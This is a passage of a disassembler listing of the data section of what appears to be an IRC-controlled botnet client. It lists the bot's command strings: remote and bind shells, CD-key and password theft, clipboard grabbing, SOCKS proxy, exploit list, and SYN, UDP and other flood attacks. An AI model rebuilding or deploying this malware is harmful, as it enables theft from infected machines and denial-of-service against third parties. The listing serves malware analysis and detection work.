unk_42C150	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C188	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2859o
		dd 2E676Fh
dword_42C1A0	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1BC	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1D8	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
unk_42C1F4	db  2Dh	; -		; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 10h
dword_42C230	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Fo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 4
unk_42C254	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
dword_42C274	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
dword_42C294	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25AEo
		dd 2E7325h
unk_42C2AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2CC	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 4
unk_42C2F4	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 10h
dword_42C320	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C33C	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C354	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 10h
unk_42C380	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 4
unk_42C3A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 10h
unk_42C3D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C3FC	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 10h
unk_42C420	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C45C	db  2Dh	; -		; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C498	db  2Dh	; -		; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C4D4	db  2Dh	; -		; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C510	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C54C	db  2Dh	; -		; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 10h
unk_42C580	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 10h
unk_42C5A0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5D8	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42C614	db  2Dh	; -		; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 4
unk_42C694	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6D4	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C710	db  2Dh	; -		; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
dword_42C77C	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B98o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 10h
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 4
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 10h
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 4
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
unk_42C824	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C858	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C88C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
dword_42C8A0	dd 6F6877h		; DATA XREF: sub_401ACD+193Fo
dword_42C8A4	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8B0	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Fo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 4
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 4
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 10h
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 10h
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 4
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
aT:					; DATA XREF: sub_401ACD+1709o
					; ___:004382E8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C970	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C998	db  2Dh	; -		; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 10h
aI:					; DATA XREF: sub_401ACD+168Do
					; ___:004382F4o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1663o
					; ___:00438300o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 4
aQ:					; DATA XREF: sub_401ACD+1639o
					; ___:off_4382D8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 10h
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 10h
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 10h
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA5C	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA7C	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 10h
dword_42CAA0	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 4
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 10h
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 10h
dword_42CAF0	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB38	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB6C	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
dword_42CB7C	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
dword_42CB8C	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
dword_42CB9C	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
dword_42CBAC	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
dword_42CBB8	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
dword_42CBC4	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
dword_42CBD0	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBE8	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
dword_42CBF4	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC0C	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
dword_42CC1C	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC38	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
dword_42CC48	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 4
dword_42CC64	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
dword_42CC70	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC84	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
dword_42CC90	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
dword_42CC9C	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCA8	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
dword_42CCB8	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1159o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCD8	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCE4	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1130o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CCF8	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 4
dword_42CD14	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 10h
dword_42CD30	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 10h
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD58	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 4
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 4
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 4
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 4
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 4
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 4
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
aD:					; DATA XREF: sub_401ACD+EFAo
					; ___:00438304o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 4
asc_42CE04:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 10h
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D15o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 4
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 4
asc_42CE44:				; DATA XREF: sub_401ACD+ABBo
					; ___:0043831Co ...
		unicode	0, <l>,0
unk_42CE48	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE7C	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEAC	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 4
unk_42CEE4	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CF0C	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 10h
unk_42CF50	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF8C	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CFA4	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFAC	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFC8	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFD4	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
unk_42CFD8	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 4
dword_42D014	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42D01C	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
unk_42D030	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 4
unk_42D054	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 10h
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D0A8	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177D0:loc_417838o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
